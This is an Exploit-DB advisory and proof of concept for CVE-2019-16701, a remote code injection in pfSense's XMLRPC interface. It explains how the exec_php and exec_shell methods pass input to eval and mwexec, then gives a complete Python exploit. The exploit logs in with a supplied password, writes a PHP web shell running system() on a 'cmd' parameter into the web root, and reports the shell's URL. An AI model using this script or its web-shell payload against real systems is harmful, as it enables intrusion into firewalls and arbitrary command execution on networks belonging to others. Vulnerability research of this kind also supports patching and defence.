Pfsense 2.3.4 / 2.4.4-p3 – Remote Code Injection

  • 作者: Nassim Asrir
    日期: 2019-09-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47413/
  • # Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection
    # Date: 23/09/2018
    # Author: Nassim Asrir
    # Vendor Homepage: https://www.pfsense.org/
    # Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/
    # CVE: CVE-2019-16701
    # Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3
    ######################################################################################################
    
    1 : About Pfsense:
    ==================
    
    pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more.
    
    2 : Technical Analysis:
    =======================
    
    The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands.
    
    XMLRPC methods:
    
    pfsense.exec_shell
    pfsense.exec_php
    pfsense.filter_configure
    pfsense.interfaces_carp_configure
    pfsense.backup_config_section
    pfsense.restore_config_section
    pfsense.merge_config_section
    pfsense.merge_installedpackages_section_xmlrpc
    pfsense.host_firmware_version
    pfsense.reboot
    pfsense.get_notices
    system.listMethods
    system.methodHelp
    system.methodSignature
    
    As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php.
    
    2 : Static Analysis:
    ====================
    
    In the static analysis we will analysis the xmlrpc.php file. 
    
    Line (73 - 82)
    
    This code check if the user have enough privileges.
    
    $user_entry = getUserEntry($username);
    		/*
    		 * admin (uid = 0) is allowed 
    		 * or regular user with necessary privilege
    		 */
    		if (isset($user_entry['uid']) && $user_entry['uid'] != '0' &&
    		!userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) {
    			log_auth("webConfigurator authentication error for '" .
    			$username . "' from " . $this->remote_addr .
    			" not enough privileges");
    				
    
    Line (137 - 146)
    
    This part of code is the interest for us.
    
    As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code).
    
    	public function exec_php($code) {
    		$this->auth();
    
    		eval($code);
    		if ($toreturn) {
    			return $toreturn;
    		}
    
    		return true;
    	}
    	
    Line (155 - 160)
    
    In this part of code also we have a check for auth then the execution for ($code)
    	
    	public function exec_shell($code) {
    		$this->auth();
    
    		mwexec($code);
    		return true;
    	}
    	
    3 - Exploit:
    ============
    
    #!/usr/bin/env python
    
    import argparse
    import requests
    import urllib2
    import time
    import sys
    import string
    import random
    
    parser = argparse.ArgumentParser()
    parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1")
    parser.add_argument("--password", help = "pfsense Password")
    args = parser.parse_args()
    
    rhost = args.rhost
    password = args.password
    print ""
    
    print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection"
    print ""
    print "[+] Author: Nassim Asrir"
    print ""
    
    command = "<?xml version='1.0' encoding='iso-8859-1'?>"
    command += "<methodCall>"
    command += "<methodName>pfsense.host_firmware_version</methodName>"
    command += "<params>"
    command += "<param><value><string>"+password+"</string></value></param>"
    command += "</params>"
    command += "</methodCall>"
    
    stage1 = rhost + "/xmlrpc.php"
    
    page = urllib2.urlopen(stage1, data=command).read()
    
    print "[+] Checking Login Creds"
    
    
    if "Authentication failed" in page:
    
    	print "[-] Wrong password :("
    	sys.exit(0)
    else:
    
    	random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)])
    
    	print "[+] logged in successfully :)" 
    	print "[+] Generating random file "+random+".php"
    	print "[+] Sending the exploit ....."
    	
    
    	command = "<?xml version='1.0' encoding='iso-8859-1'?>"
    	command += "<methodCall>"
    	command += "<methodName>pfsense.exec_php</methodName>"
    	command += "<params>"
    	command += "<param><value><string>"+password+"</string></value></param>"
    	command += "<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>"
    	command += "</params>"
    	command += "</methodCall>"
    
    stage1 = rhost + "/xmlrpc.php"
    
    page = urllib2.urlopen(stage1, data=command).read()
    
    final = rhost+"/"+str(random)+".php"
    
    check = urllib2.urlopen(final)
    
    print "[+] Checking ....."
    
    if check.getcode() == 200:
    
    	print "[+] Yeah! You got your shell: " + final+"?cmd=id"
    else:
    
    	print "[+] Sorry :( Shell not found check the path"